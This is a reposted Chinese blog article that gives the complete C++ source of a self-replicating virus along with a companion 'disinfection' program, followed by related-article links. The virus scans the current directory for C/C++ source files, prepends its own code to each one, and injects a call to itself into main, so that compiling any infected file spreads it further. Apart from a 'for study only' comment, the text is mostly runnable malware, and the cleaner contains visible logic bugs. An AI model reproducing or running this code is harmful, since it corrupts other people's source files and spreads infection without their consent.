超强c/c++病毒程序,中毒+杀毒

这篇具有很好参考价值的文章主要介绍了超强c/c++病毒程序,中毒+杀毒。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

转载一个病毒代码文章来源地址https://www.toymoban.com/news/detail-537818.html

​
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void vir(){ 
	string CurFileName = __FILE__;//绝对路径
	string obCurFileName          //相对路径
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string VirusCode[100];//病毒代码 
	string FileCode[500]; //宿主代码
	int CodeLen = 0;//病毒代码长度
	int FileLen = 0;//宿主代码长度 

	//病毒函数调用应当插在"main("后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式 
	int InsertLoc = 0; 

	//提取待传播的当前文件中的病毒代码 
	ifstream VirusFile(obCurFileName.c_str()); 
	for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
	{
		if(VirusCode[CodeLen] == "//END")
		{
    		CodeLen++;
    		break;
   		}
	}
	VirusFile.close();
	//依次感染宿主文件 
	while (true) 
	{
   		//不能感染当前.cpp文件和已感染的文件 
   		if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   		{
    		cout<<FindFileData.cFileName<<":是感染源!/n";
   		}
   		else//感染其它文件 
   		{
    		//加载宿主文件 
    		ifstream ibe(FindFileData.cFileName);
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if (FileCode[FileLen].find("main") != -1)
     			{
      				InsertLoc = FileLen;
     			}
    		}
    		ibe.close();
    		if(FileCode[0] == "//START")//该文件已被感染 
    		{
     			cout<<FindFileData.cFileName<<":已携带了病毒!/n";
    		}
    		else if (FileLen > 500)
    		{
     			cout<<FindFileData.cFileName<<":文件太大了!/n";
    		}
    		else
    		{
     			//打开宿主文件
     			ofstream be(FindFileData.cFileName);
     			//插入病毒代码 
     			for(int i = 0;i < CodeLen;i++)
     			{
      				be<<VirusCode[i]<<endl;
     			}		
     			//病毒函数调用位置前文本插入 
     			for(int i = 0;i < InsertLoc;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
    			 //插入函数调用vir() 
    			 for(int i = InsertLoc;i < FileLen;i++)
     			{
      				int j = FileCode[i].find('{');
      				if(j != -1)
      				{
       					FileCode[i].insert(j + 1,"/nvir();"); 
       					break;
      				}
     			}
     			//病毒函数调用位置后插入剩余文本 
     			for(int i = InsertLoc;i < FileLen;i++)
     			{
      				be<<FileCode[i]<<endl;
     			}
     			be.close();
     			cout<<FindFileData.cFileName<<":感染成功!/n";
    		}
   		}
   		if (FindNextFile(hFind, &FindFileData) == false) break;
		}
	}
	//END
	int main()
	{
		vir();
	return 0;
}

​
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负 
void revir()
{ 
	WIN32_FIND_DATA FindFileData;
	HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
	string FileCode[500];
	//病毒函数调用应当插在"main"后面的第一个"{"后面 
	//在C++中main有int main(),int main(int arg,char **r)等形式
	//依次清除宿主文件 
	while (true) 
	{ 
   		//加载文件
   		int FileLen = 0; //宿主代码长度
   		int MainLoc = 0; //主函数位置 
   		ifstream ibe(FindFileData.cFileName);
   		getline(ibe,FileCode[0]);
   		if(FileCode[0] == "//START")//当前文件被感染过 
   		{
    		//病毒代码要过虑掉 
    		for(FileLen = 0;getline(ibe,FileCode[0]);)
    		{
     			if(FileCode[FileLen] == "//END")
     			{
      				break;
     			}
    		}
    		//宿主未感染前的代码
    		for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    		{
     			if(FileCode[FileLen].find("main") != -1)
     			{
      				MainLoc = FileLen;
     			}			
    		}
   			//清除主文件中的函数调用
    		for (int i = MainLoc;i < FileLen;i++) 
    		{
     			if(FileCode[i].find('{') != -1)
     			{
      				FileCode[i + 1] = "";
      				break;
     			}
    		}
    		ibe.close();
   			ofstream be(FindFileData.cFileName);
    		for(int i = 0;i < FileLen;i++)
    		{
     			be<<FileCode[i]<<endl;
    		}
    		be.close();
    		cout<<FindFileData.cFileName<<":病毒清除成功/n";
   		}
   		cout<<FindFileData.cFileName<<":没有被感染!/n";
   		if (FindNextFile(hFind, &FindFileData) == false) break;
	}
}
int main()
{
	revir();
	return 0;
}

到了这里,关于超强c/c++病毒程序,中毒+杀毒的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 为什么易语言程序被360和windows安全中心认作是病毒?

    首先,我们要注意千万不要下载360,毕竟它捆绑的软件太多。但,安全中心也不可以删除,毕竟他也很重要嘛~ 那为什么易语言程序会被各大杀毒软件公认为病毒呢?首先,易语言程序采用静态编译,而大多数病毒也通过静态编译保存。其次,各大杀毒软件为图省事,直接将

    2024年02月12日
    浏览(89)
  • 木马程序(病毒)

    \\\"特洛伊木马\\\"(trojan horse)简称\\\"木马\\\",据说这个名称来源于希腊神话《木马屠城记》。古希腊有大军围攻特洛伊城,久久无法攻下。于是有人献计制造一只高二丈的大木马,假装作战马神,让士兵藏匿于巨大的木马中,大部队假装撤退而将木马摈弃于特洛伊城下。城中得知解

    2023年04月10日
    浏览(29)
  • (C语言)数据结构算法-病毒感染检测(BF算法&&KMP算法)

    病毒感染检测: 医学研究者最近发现了某些新病毒,得知它们的DNA序列都是环状的。为了快速检测出患者是否感染了相应的病毒,研究者将患者的DNA和病毒的DNA均表示成一些字母组成的字符串序列,然后检测某种病毒DNA序列是否在患者的DNA序列中出现过,如果出现过,则此人

    2024年02月08日
    浏览(38)
  • 怎么看服务器是中毒了还是被攻击?

    服务器是企业或个人重要的信息系统设备之一,它的正常运行对于企业和个人的业务和日常生活都非常重要。然而,服务器也很容易成为黑客攻击的目标,一旦遭到攻击,会对系统的正常运行和数据安全产生严重影响。在服务器出现异常情况时,如何判断是中毒还是被攻击,

    2024年02月10日
    浏览(30)
  • 恶搞黑客小程序小病毒大全

    黑客代码雨,文本文档写,后缀html 弹窗病毒,文本文档写,后缀vbs 关机代码,文本文档写,后缀bat 轰炸,文本文档写,后缀vbs.可以发在微信上,剪切要发内容后双击 叫爸爸,文本文档写,后缀vbs.可以发给你的损友。 蓝屏代码,文本文档写,后缀bat。 建议别轻易触碰!有

    2024年02月03日
    浏览(26)
  • 百万军中取上将首级如探囊取物, 千万行里改关键源码在弹指瞬间。 功能超强的程序编辑器!

    TSEPro11_Setup.exe 百万军中取上将首级如探囊取物, 千万行里改关键源码在弹指瞬间。 功能超强的程序编辑器! 为防内容被恶意篡改,参考 MD5 (TSEPro11_Setup.exe) = d98ce8ddaee6d3e101db35e7324e35ae 赵4老师 / Tsepro11 · GitCode 推荐使用e32源代码编辑器 ·安装e32(TSEPro11_Setup.exe)      暂停杀毒

    2024年02月13日
    浏览(23)
  • PE文件感染程序设计(PE病毒)

    本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导。也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路。 遍历当前目录,将所有的可执行文件列出来 对这些可执行文件逐个判断是否被感染过,如果感染过,则

    2024年02月07日
    浏览(30)
  • 43.227.198.x怎么检查服务器里是否中毒情况?

    要检查43.227.198.1服务器是否中毒,可以执行以下步骤: 运行杀毒软件:运行已安装的杀毒软件进行全盘扫描,查看是否有病毒或恶意软件。如果发现病毒或恶意软件,立即将其删除或隔离。 检查系统文件:检查服务器的系统文件是否被更改或替换,这可能是一种病毒攻击的

    2024年02月12日
    浏览(27)
  • 怎么看服务器是中毒了还是被攻击?以及后续处理方案

    服务器是企业或个人重要的信息系统设备之一,它的正常运行对于企业和个人的业务和日常生活都非常重要。然而,服务器也很容易成为黑客攻击的目标,一旦遭到攻击,会对系统的正常运行和数据安全产生严重影响。在服务器出现异常情况时,如何判断是中毒还是被攻击,

    2024年01月22日
    浏览(32)
  • 写着玩的程序:pycharm实现无限弹窗程序(非病毒程序,仅整蛊使用)

    运行环境 PyCharm 2023.2.1 python3.11 具体内容 源代码 运行结果如图 点击运行时 点击关闭程序按钮(未点击足够次数) 点击关闭程序按钮(点击次数足够) 关闭多试一下弹窗(仅并没有用弹窗可关闭) 关闭程序的方法 1、任务管理器结束任务 2、点击足够次数的关闭程序 注意事

    2024年01月23日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包